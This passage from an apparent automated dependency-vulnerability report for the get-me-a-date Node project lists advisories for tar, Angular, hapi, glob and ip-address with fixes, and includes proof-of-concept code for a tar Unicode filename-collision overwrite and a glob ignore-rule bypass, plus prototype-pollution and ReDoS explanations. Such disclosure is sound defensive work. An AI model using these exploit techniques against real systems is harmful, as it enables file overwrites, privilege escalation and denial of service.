DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Handling of Unicode Encoding

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

medium severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@20.3.28.

Overview

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information via the HttpTransferCache process. An attacker can access sensitive user-specific information by exploiting a scenario where a child HttpClient delegates requests to a parent client that injects authentication credentials, resulting in authenticated responses being cached and served to unauthorized users. This is only exploitable if all of the following conditions are met: Server-Side Rendering (SSR) with hydration is enabled, a hierarchical HttpClient configuration with withRequestsMadeViaParent() is used, authentication credentials are injected by a parent interceptor, and SSR HTML responses are cached by a shared caching layer (such as a CDN or reverse proxy).

Workaround

This vulnerability can be mitigated by attaching authentication credentials directly within the child client, applying explicit cache filters on the child client to exclude sensitive endpoints, or disabling HTTP transfer cache for routes handling user-authenticated data and ensuring SSR responses set appropriate cache-control headers.

Remediation

Upgrade @angular/common to version 20.3.28, 21.2.20, 22.1.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
    Remediation: Upgrade to @angular/compiler@19.2.18.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via improper handling of namespaced elements and attributes during template compilation and sanitization. An attacker can execute arbitrary JavaScript in the user's browser by injecting specially crafted templates or tag structures with custom namespaces that bypass script-stripping logic and attribute sanitizers.

Note: This is only exploitable if the application accepts user-controlled template input, supports namespace parsing in templates, and does not perform additional input sanitization before processing with the template compiler.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.18, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@19.2.18.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via improper handling of namespaced elements and attributes during template compilation and sanitization. An attacker can execute arbitrary JavaScript in the user's browser by injecting specially crafted templates or tag structures with custom namespaces that bypass script-stripping logic and attribute sanitizers.

Note: This is only exploitable if the application accepts user-controlled template input, supports namespace parsing in templates, and does not perform additional input sanitization before processing with the template compiler.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.18, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: @hapi/joi
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/joi@17.1.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/joi@17.1.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-pagination@4.0.0 › @hapi/joi@17.1.1

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the compile and merge functions in lib/messages.js, where a language key named __proto__ or constructor in a user-supplied messages object causes writes to flow onto Object.prototype rather than the intended target object. An attacker who can control the messages configuration passed to joi can pollute the prototype chain of all objects in the process, potentially altering application behaviour.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Insufficiently Protected Credentials

  • Vulnerable module: @hapi/wreck
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/wreck@17.2.0

Overview

@hapi/wreck is a HTTP Client Utilities library.

Affected versions of this package are vulnerable to Insufficiently Protected Credentials due to leaking the sensitive Proxy-Authorization header across cross-hostname redirects. An attacker can obtain sensitive proxy credentials by inducing a redirect to a malicious host, which receives the unstripped Proxy-Authorization header.

Note:

This is only exploitable if redirect following is explicitly enabled by setting the redirects option to a positive integer.

Workaround

This vulnerability can be mitigated by leaving redirects at its default value (false), manually stripping the Proxy-Authorization header before issuing requests, or using the beforeRedirect hook to remove sensitive headers when redirecting to a different hostname.

Remediation

Upgrade @hapi/wreck to version 18.1.1 or higher.

References

medium severity
new

Improper Neutralization

  • Vulnerable module: glob
  • Introduced through: sqlite3@5.0.2 and facebook-login-for-robots@1.1.155

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › glob@7.2.3
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › puppeteer@8.0.0 › rimraf@3.0.2 › glob@7.2.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › rimraf@2.7.1 › glob@7.2.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3

Overview

Affected versions of this package are vulnerable to Improper Neutralization in src/ignore.ts, when composing an absolute ignore pattern, the resolved root/cwd path is pasted into a glob string and re-parsed by minimatch. The path is escaped with minimatch's escape(), but that function only escapes { and } when the magicalBraces option is enabled, which glob does not pass. A root or cwd path containing brace expressions (e.g. /root{7,8}) is therefore brace-expanded during re-parsing, causing the resulting ignore pattern to match non-existent paths instead of the real path. The exclusion is silently dropped and the excluded file is returned to the caller.

Note: This is only exploitable when the root or cwd path contains brace characters, which is reachable when those paths are derived from externally supplied data such as tenant IDs, project names, or archive extraction paths.

PoC

import { Volume, createFsFromVolume } from 'memfs'
import { glob } from 'glob'

const vol = new Volume()
const fs = createFsFromVolume(vol)
vol.fromJSON({
  '/root{7,8}/keep.txt': 'x',
  '/root{7,8}/skip.log': 'x',
})

const res = await glob('*', {
  cwd: '/root{7,8}',
  root: '/root{7,8}',
  fs,
  ignore: ['/skip.log'],
  platform: 'posix',
})

console.log(res)   // [ 'keep.txt', 'skip.log' ]  <-- skip.log should be ignored

Control with a plain root path:

vol.fromJSON({ '/root/keep.txt': 'x', '/root/skip.log': 'x' })
await glob('*', {
  cwd: '/root', root: '/root', fs, ignore: ['/skip.log'], platform: 'posix',
})
// [ 'keep.txt' ]  <-- ignore correctly enforced

Remediation

Upgrade glob to version 14.0.6 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: ip-address
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0

Overview

ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Address6.isValid() method (and the Address4 constructor) when parsing an oversized input string. The bad-character diagnostic wraps every offending character in an HTML <span> element, so an N-byte string of punctuation produces approximately 106N bytes of output and triggers a synchronous String.replace over the entire result. An 8 MiB input takes roughly 529 ms and 895 MB of memory, a 16 MiB input causes a RangeError by exceeding V8's maximum string length, and a 32 MiB input causes V8 to abort the process entirely with a fatal invalid-size error.

Note: Material impact occurs only when an application accepts a very large attacker-controlled field and passes it to Address6 or Address4 parsing without an earlier length bound.

Remediation

Upgrade ip-address to version 10.7.1 or higher.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: ip-address
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0

Overview

ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via isHostInSubnet() (and isInSubnet() which delegates to it), which compares masked binary strings without first verifying that both addresses belong to the same address family. Because Address4 pads its binary representation to 32 bits and Address6 pads to 128 bits, leading bit sequences can coincide across families, causing an IPv6 address to be incorrectly reported as contained within an IPv4 subnet and vice versa (for example, a00::1 is evaluated as inside 10.0.0.0/8). An attacker who controls an IP address value passed to a subnet membership check can bypass trust-boundary decisions such as SSRF allow/deny filters by supplying an address of the opposite family.

Remediation

Upgrade ip-address to version 10.7.1 or higher.

References

medium severity

Incorrect Behavior Order

  • Vulnerable module: ip-address
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0

Overview

ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.

Affected versions of this package are vulnerable to Incorrect Behavior Order via the isLinkLocal() method, which incorrectly compared only the first 64 bits of an IPv6 address against the fixed pattern fe80:0:0:0, effectively recognising only fe80::/64 as link-local. Addresses within the full fe80::/10 range defined by RFC 4291 §2.4 - such as fe81::1, febf::1, or fe80:0:0:1::1 - are incorrectly classified as non-link-local, causing the library to disagree with itself because getType() and getScope() already matched the correct /10 subnet. An attacker can exploit this inconsistency to bypass link-local address checks in applications that rely on isLinkLocal() for access control or routing decisions.

Remediation

Upgrade ip-address to version 10.5.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ip-address
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0

Overview

ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Address6 constructor in src/ipv6.ts, where the RE_ZONE_STRING regular expression (/%.*$/) is applied to strip an IPv6 zone identifier before enforcing the 45-character limit. Because the pattern has no leading anchor and . does not cross line terminators, every % character in the input becomes a candidate start position that the engine scans forward until it fails at a newline, producing O(N²) backtracking. An attacker can supply a string of % characters followed by a newline to Address6.isValid() and cause processing time to grow quadratically - measured at 13 ms for 5,461 characters, 3.9 s for 100 KB, and 27 s for 256 KB of input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
